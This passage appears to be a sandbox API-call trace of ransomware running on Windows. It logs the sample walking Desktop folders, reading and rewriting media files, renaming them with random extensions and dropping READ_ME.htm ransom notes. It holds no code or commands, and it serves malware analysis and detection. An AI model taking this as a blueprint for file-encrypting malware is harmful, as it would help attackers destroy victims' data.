lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0848640, ftCreationTime.dwHighDateTime=0x1d8b64e, ftLastAccessTime.dwLowDateTime=0x6a4c98b0, ftLastAccessTime.dwHighDateTime=0x1d8c024, ftLastWriteTime.dwLowDateTime=0x6a4c98b0, ftLastWriteTime.dwHighDateTime=0x1d8c024, nFileSizeHigh=0x0, nFileSizeLow=0x12882, dwReserved0=0x0, dwReserved1=0x0, cFileName="z_lv1UW3Z.bmp", cAlternateFileName="Z_LV1U~1.BMP")) returned 0 [0150.650] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0150.650] SetErrorMode (uMode=0x0) returned 0x1 [0150.650] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d", lpFilePart=0x0) returned 0x2f [0150.651] SetErrorMode (uMode=0x1) returned 0x0 [0150.651] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\*" (normalized: "c:\\users\\keecfmwgj\\desktop\\grhtag4s9qd-me4unq5d\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2ef66dc0, ftCreationTime.dwHighDateTime=0x1d8b79d, ftLastAccessTime.dwLowDateTime=0xf3151c40, ftLastAccessTime.dwHighDateTime=0x1d8baba, ftLastWriteTime.dwLowDateTime=0xf3151c40, ftLastWriteTime.dwHighDateTime=0x1d8baba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0150.651] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2ef66dc0, ftCreationTime.dwHighDateTime=0x1d8b79d, ftLastAccessTime.dwLowDateTime=0xf3151c40, ftLastAccessTime.dwHighDateTime=0x1d8baba, ftLastWriteTime.dwLowDateTime=0xf3151c40, ftLastWriteTime.dwHighDateTime=0x1d8baba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0150.651] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x647b090, ftCreationTime.dwHighDateTime=0x1d8b69a, ftLastAccessTime.dwLowDateTime=0x324707f0, ftLastAccessTime.dwHighDateTime=0x1d8b914, ftLastWriteTime.dwLowDateTime=0x324707f0, ftLastWriteTime.dwHighDateTime=0x1d8b914, nFileSizeHigh=0x0, nFileSizeLow=0x795a, dwReserved0=0x0, dwReserved1=0x0, cFileName="E-uYSW4Do.avi", cAlternateFileName="E-UYSW~1.AVI")) returned 1 [0150.651] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe0c80d0, ftCreationTime.dwHighDateTime=0x1d8c040, ftLastAccessTime.dwLowDateTime=0xcbac2150, ftLastAccessTime.dwHighDateTime=0x1d8c111, ftLastWriteTime.dwLowDateTime=0xcbac2150, ftLastWriteTime.dwHighDateTime=0x1d8c111, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eb_Y", cAlternateFileName="")) returned 1 [0150.651] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7afe140, ftCreationTime.dwHighDateTime=0x1d8b367, ftLastAccessTime.dwLowDateTime=0x13c955d0, ftLastAccessTime.dwHighDateTime=0x1d8bb71, ftLastWriteTime.dwLowDateTime=0x13c955d0, ftLastWriteTime.dwHighDateTime=0x1d8bb71, nFileSizeHigh=0x0, nFileSizeLow=0x3311, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQf1Ede7tU.wav", cAlternateFileName="EQF1ED~1.WAV")) returned 1 [0150.651] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5cda6a0, ftCreationTime.dwHighDateTime=0x1d8b9ea, ftLastAccessTime.dwLowDateTime=0x1f841810, ftLastAccessTime.dwHighDateTime=0x1d8bf27, ftLastWriteTime.dwLowDateTime=0x1f841810, ftLastWriteTime.dwHighDateTime=0x1d8bf27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TsyPWpsnMPhL", cAlternateFileName="TSYPWP~1")) returned 1 [0150.651] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f484df0, ftCreationTime.dwHighDateTime=0x1d8b40b, ftLastAccessTime.dwLowDateTime=0xa8db0070, ftLastAccessTime.dwHighDateTime=0x1d8b5c1, ftLastWriteTime.dwLowDateTime=0xa8db0070, ftLastWriteTime.dwHighDateTime=0x1d8b5c1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WZrkNAWu", cAlternateFileName="")) returned 1 [0150.652] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47a98fa0, ftCreationTime.dwHighDateTime=0x1d8bcca, ftLastAccessTime.dwLowDateTime=0x7999f4b0, ftLastAccessTime.dwHighDateTime=0x1d8bd91, ftLastWriteTime.dwLowDateTime=0x7999f4b0, ftLastWriteTime.dwHighDateTime=0x1d8bd91, nFileSizeHigh=0x0, nFileSizeLow=0x12d5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="X7gt.mp4", cAlternateFileName="")) returned 1 [0150.652] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0848640, ftCreationTime.dwHighDateTime=0x1d8b64e, ftLastAccessTime.dwLowDateTime=0x6a4c98b0, ftLastAccessTime.dwHighDateTime=0x1d8c024, ftLastWriteTime.dwLowDateTime=0x6a4c98b0, ftLastWriteTime.dwHighDateTime=0x1d8c024, nFileSizeHigh=0x0, nFileSizeLow=0x12882, dwReserved0=0x0, dwReserved1=0x0, cFileName="z_lv1UW3Z.bmp", cAlternateFileName="Z_LV1U~1.BMP")) returned 1 [0150.652] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0848640, ftCreationTime.dwHighDateTime=0x1d8b64e, ftLastAccessTime.dwLowDateTime=0x6a4c98b0, ftLastAccessTime.dwHighDateTime=0x1d8c024, ftLastWriteTime.dwLowDateTime=0x6a4c98b0, ftLastWriteTime.dwHighDateTime=0x1d8c024, nFileSizeHigh=0x0, nFileSizeLow=0x12882, dwReserved0=0x0, dwReserved1=0x0, cFileName="z_lv1UW3Z.bmp", cAlternateFileName="Z_LV1U~1.BMP")) returned 0 [0150.652] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0150.652] SetErrorMode (uMode=0x0) returned 0x1 [0150.652] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\E-uYSW4Do.avi", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\E-uYSW4Do.avi", lpFilePart=0x0) returned 0x3d [0150.653] SetErrorMode (uMode=0x1) returned 0x0 [0150.653] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\E-uYSW4Do.avi" (normalized: "c:\\users\\keecfmwgj\\desktop\\grhtag4s9qd-me4unq5d\\e-uysw4do.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0150.653] GetFileType (hFile=0x1d0) returned 0x1 [0150.653] SetErrorMode (uMode=0x0) returned 0x1 [0150.653] GetFileType (hFile=0x1d0) returned 0x1 [0150.653] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d538 | out: lpFileSizeHigh=0x21d538*=0x0) returned 0x795a [0150.653] ReadFile (in: hFile=0x1d0, lpBuffer=0x295c8c8, nNumberOfBytesToRead=0x795a, lpNumberOfBytesRead=0x21d418, lpOverlapped=0x0 | out: lpBuffer=0x295c8c8*, lpNumberOfBytesRead=0x21d418*=0x795a, lpOverlapped=0x0) returned 1 [0150.711] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\E-uYSW4Do.avi", nBufferLength=0x105, lpBuffer=0x21cee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\E-uYSW4Do.avi", lpFilePart=0x0) returned 0x3d [0150.711] SetErrorMode (uMode=0x1) returned 0x0 [0150.711] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\E-uYSW4Do.avi" (normalized: "c:\\users\\keecfmwgj\\desktop\\grhtag4s9qd-me4unq5d\\e-uysw4do.avi"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0150.713] GetFileType (hFile=0x1d0) returned 0x1 [0150.713] SetErrorMode (uMode=0x0) returned 0x1 [0150.713] GetFileType (hFile=0x1d0) returned 0x1 [0150.713] WriteFile (in: hFile=0x1d0, lpBuffer=0x2839060*, nNumberOfBytesToWrite=0x7960, lpNumberOfBytesWritten=0x21d498, lpOverlapped=0x0 | out: lpBuffer=0x2839060*, lpNumberOfBytesWritten=0x21d498*=0x7960, lpOverlapped=0x0) returned 1 [0150.715] CloseHandle (hObject=0x1d0) returned 1 [0150.719] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\E-uYSW4Do.avi", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\E-uYSW4Do.avi", lpFilePart=0x0) returned 0x3d [0150.719] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\E-uYSW4Do.avi.l4ynmq", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\E-uYSW4Do.avi.l4ynmq", lpFilePart=0x0) returned 0x44 [0150.719] SetErrorMode (uMode=0x1) returned 0x0 [0150.719] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\E-uYSW4Do.avi" (normalized: "c:\\users\\keecfmwgj\\desktop\\grhtag4s9qd-me4unq5d\\e-uysw4do.avi"), fInfoLevelId=0x0, lpFileInformation=0x21d3c0 | out: lpFileInformation=0x21d3c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x647b090, ftCreationTime.dwHighDateTime=0x1d8b69a, ftLastAccessTime.dwLowDateTime=0x324707f0, ftLastAccessTime.dwHighDateTime=0x1d8b914, ftLastWriteTime.dwLowDateTime=0x56535500, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x7960)) returned 1 [0150.719] SetErrorMode (uMode=0x0) returned 0x1 [0150.719] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\E-uYSW4Do.avi" (normalized: "c:\\users\\keecfmwgj\\desktop\\grhtag4s9qd-me4unq5d\\e-uysw4do.avi"), lpNewFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\E-uYSW4Do.avi.l4ynmq" (normalized: "c:\\users\\keecfmwgj\\desktop\\grhtag4s9qd-me4unq5d\\e-uysw4do.avi.l4ynmq")) returned 1 [0150.720] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\X7gt.mp4", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\X7gt.mp4", lpFilePart=0x0) returned 0x38 [0150.721] SetErrorMode (uMode=0x1) returned 0x0 [0150.721] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\X7gt.mp4" (normalized: "c:\\users\\keecfmwgj\\desktop\\grhtag4s9qd-me4unq5d\\x7gt.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0150.721] GetFileType (hFile=0x1d0) returned 0x1 [0150.721] SetErrorMode (uMode=0x0) returned 0x1 [0150.721] GetFileType (hFile=0x1d0) returned 0x1 [0150.721] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d538 | out: lpFileSizeHigh=0x21d538*=0x0) returned 0x12d5a [0150.721] ReadFile (in: hFile=0x1d0, lpBuffer=0x2841970, nNumberOfBytesToRead=0x12d5a, lpNumberOfBytesRead=0x21d418, lpOverlapped=0x0 | out: lpBuffer=0x2841970*, lpNumberOfBytesRead=0x21d418*=0x12d5a, lpOverlapped=0x0) returned 1 [0150.723] CloseHandle (hObject=0x1d0) returned 1 [0150.781] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\X7gt.mp4", nBufferLength=0x105, lpBuffer=0x21cee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\X7gt.mp4", lpFilePart=0x0) returned 0x38 [0150.781] SetErrorMode (uMode=0x1) returned 0x0 [0150.781] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\X7gt.mp4" (normalized: "c:\\users\\keecfmwgj\\desktop\\grhtag4s9qd-me4unq5d\\x7gt.mp4"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0150.783] GetFileType (hFile=0x1d0) returned 0x1 [0150.783] SetErrorMode (uMode=0x0) returned 0x1 [0150.783] GetFileType (hFile=0x1d0) returned 0x1 [0150.784] WriteFile (in: hFile=0x1d0, lpBuffer=0x2959fb8*, nNumberOfBytesToWrite=0x12d60, lpNumberOfBytesWritten=0x21d498, lpOverlapped=0x0 | out: lpBuffer=0x2959fb8*, lpNumberOfBytesWritten=0x21d498*=0x12d60, lpOverlapped=0x0) returned 1 [0150.786] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\X7gt.mp4", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\X7gt.mp4", lpFilePart=0x0) returned 0x38 [0150.787] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\X7gt.mp4.z0bvmw", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\X7gt.mp4.z0bvmw", lpFilePart=0x0) returned 0x3f [0150.787] SetErrorMode (uMode=0x1) returned 0x0 [0150.787] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\X7gt.mp4" (normalized: "c:\\users\\keecfmwgj\\desktop\\grhtag4s9qd-me4unq5d\\x7gt.mp4"), fInfoLevelId=0x0, lpFileInformation=0x21d3c0 | out: lpFileInformation=0x21d3c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47a98fa0, ftCreationTime.dwHighDateTime=0x1d8bcca, ftLastAccessTime.dwLowDateTime=0x7999f4b0, ftLastAccessTime.dwHighDateTime=0x1d8bd91, ftLastWriteTime.dwLowDateTime=0x565cda80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x12d60)) returned 1 [0150.787] SetErrorMode (uMode=0x0) returned 0x1 [0150.787] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\X7gt.mp4" (normalized: "c:\\users\\keecfmwgj\\desktop\\grhtag4s9qd-me4unq5d\\x7gt.mp4"), lpNewFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\X7gt.mp4.z0bvmw" (normalized: "c:\\users\\keecfmwgj\\desktop\\grhtag4s9qd-me4unq5d\\x7gt.mp4.z0bvmw")) returned 1 [0150.790] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\eb_Y", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\eb_Y", lpFilePart=0x0) returned 0x34 [0150.790] SetErrorMode (uMode=0x1) returned 0x0 [0150.790] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\eb_Y\\*" (normalized: "c:\\users\\keecfmwgj\\desktop\\grhtag4s9qd-me4unq5d\\eb_y\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe0c80d0, ftCreationTime.dwHighDateTime=0x1d8c040, ftLastAccessTime.dwLowDateTime=0xcbac2150, ftLastAccessTime.dwHighDateTime=0x1d8c111, ftLastWriteTime.dwLowDateTime=0xcbac2150, ftLastWriteTime.dwHighDateTime=0x1d8c111, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0150.790] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe0c80d0, ftCreationTime.dwHighDateTime=0x1d8c040, ftLastAccessTime.dwLowDateTime=0xcbac2150, ftLastAccessTime.dwHighDateTime=0x1d8c111, ftLastWriteTime.dwLowDateTime=0xcbac2150, ftLastWriteTime.dwHighDateTime=0x1d8c111, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0150.791] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc95bec80, ftCreationTime.dwHighDateTime=0x1d8b80d, ftLastAccessTime.dwLowDateTime=0xd9239880, ftLastAccessTime.dwHighDateTime=0x1d8ba23, ftLastWriteTime.dwLowDateTime=0xd9239880, ftLastWriteTime.dwHighDateTime=0x1d8ba23, nFileSizeHigh=0x0, nFileSizeLow=0x160d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="-mvmKkOvw85O8UQ.mp3", cAlternateFileName="-MVMKK~1.MP3")) returned 1 [0150.791] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeaa99f0, ftCreationTime.dwHighDateTime=0x1d8b69a, ftLastAccessTime.dwLowDateTime=0x394a1100, ftLastAccessTime.dwHighDateTime=0x1d8bb76, ftLastWriteTime.dwLowDateTime=0x394a1100, ftLastWriteTime.dwHighDateTime=0x1d8bb76, nFileSizeHigh=0x0, nFileSizeLow=0x33ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmwoVmz.swf", cAlternateFileName="")) returned 1 [0150.791] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeaa99f0, ftCreationTime.dwHighDateTime=0x1d8b69a, ftLastAccessTime.dwLowDateTime=0x394a1100, ftLastAccessTime.dwHighDateTime=0x1d8bb76, ftLastWriteTime.dwLowDateTime=0x394a1100, ftLastWriteTime.dwHighDateTime=0x1d8bb76, nFileSizeHigh=0x0, nFileSizeLow=0x33ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmwoVmz.swf", cAlternateFileName="")) returned 0 [0150.791] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0150.791] SetErrorMode (uMode=0x0) returned 0x1 [0150.791] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\eb_Y", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\eb_Y", lpFilePart=0x0) returned 0x34 [0150.792] SetErrorMode (uMode=0x1) returned 0x0 [0150.792] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\eb_Y\\*" (normalized: "c:\\users\\keecfmwgj\\desktop\\grhtag4s9qd-me4unq5d\\eb_y\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe0c80d0, ftCreationTime.dwHighDateTime=0x1d8c040, ftLastAccessTime.dwLowDateTime=0xcbac2150, ftLastAccessTime.dwHighDateTime=0x1d8c111, ftLastWriteTime.dwLowDateTime=0xcbac2150, ftLastWriteTime.dwHighDateTime=0x1d8c111, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0150.792] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe0c80d0, ftCreationTime.dwHighDateTime=0x1d8c040, ftLastAccessTime.dwLowDateTime=0xcbac2150, ftLastAccessTime.dwHighDateTime=0x1d8c111, ftLastWriteTime.dwLowDateTime=0xcbac2150, ftLastWriteTime.dwHighDateTime=0x1d8c111, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0150.792] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc95bec80, ftCreationTime.dwHighDateTime=0x1d8b80d, ftLastAccessTime.dwLowDateTime=0xd9239880, ftLastAccessTime.dwHighDateTime=0x1d8ba23, ftLastWriteTime.dwLowDateTime=0xd9239880, ftLastWriteTime.dwHighDateTime=0x1d8ba23, nFileSizeHigh=0x0, nFileSizeLow=0x160d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="-mvmKkOvw85O8UQ.mp3", cAlternateFileName="-MVMKK~1.MP3")) returned 1 [0150.792] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeaa99f0, ftCreationTime.dwHighDateTime=0x1d8b69a, ftLastAccessTime.dwLowDateTime=0x394a1100, ftLastAccessTime.dwHighDateTime=0x1d8bb76, ftLastWriteTime.dwLowDateTime=0x394a1100, ftLastWriteTime.dwHighDateTime=0x1d8bb76, nFileSizeHigh=0x0, nFileSizeLow=0x33ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmwoVmz.swf", cAlternateFileName="")) returned 1 [0150.792] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeaa99f0, ftCreationTime.dwHighDateTime=0x1d8b69a, ftLastAccessTime.dwLowDateTime=0x394a1100, ftLastAccessTime.dwHighDateTime=0x1d8bb76, ftLastWriteTime.dwLowDateTime=0x394a1100, ftLastWriteTime.dwHighDateTime=0x1d8bb76, nFileSizeHigh=0x0, nFileSizeLow=0x33ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmwoVmz.swf", cAlternateFileName="")) returned 0 [0150.793] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0150.793] SetErrorMode (uMode=0x0) returned 0x1 [0150.793] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\eb_Y\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\eb_Y\\READ_ME.htm", lpFilePart=0x0) returned 0x40 [0150.793] SetErrorMode (uMode=0x1) returned 0x0 [0150.793] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\eb_Y\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\desktop\\grhtag4s9qd-me4unq5d\\eb_y\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0150.794] GetFileType (hFile=0x1d0) returned 0x1 [0150.794] SetErrorMode (uMode=0x0) returned 0x1 [0150.794] GetFileType (hFile=0x1d0) returned 0x1 [0150.794] WriteFile (in: hFile=0x1d0, lpBuffer=0x2972d38*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x2972d38*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0150.796] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\TsyPWpsnMPhL", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\TsyPWpsnMPhL", lpFilePart=0x0) returned 0x3c [0150.796] SetErrorMode (uMode=0x1) returned 0x0 [0150.796] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\TsyPWpsnMPhL\\*" (normalized: "c:\\users\\keecfmwgj\\desktop\\grhtag4s9qd-me4unq5d\\tsypwpsnmphl\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5cda6a0, ftCreationTime.dwHighDateTime=0x1d8b9ea, ftLastAccessTime.dwLowDateTime=0x1f841810, ftLastAccessTime.dwHighDateTime=0x1d8bf27, ftLastWriteTime.dwLowDateTime=0x1f841810, ftLastWriteTime.dwHighDateTime=0x1d8bf27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0150.796] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5cda6a0, ftCreationTime.dwHighDateTime=0x1d8b9ea, ftLastAccessTime.dwLowDateTime=0x1f841810, ftLastAccessTime.dwHighDateTime=0x1d8bf27, ftLastWriteTime.dwLowDateTime=0x1f841810, ftLastWriteTime.dwHighDateTime=0x1d8bf27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", 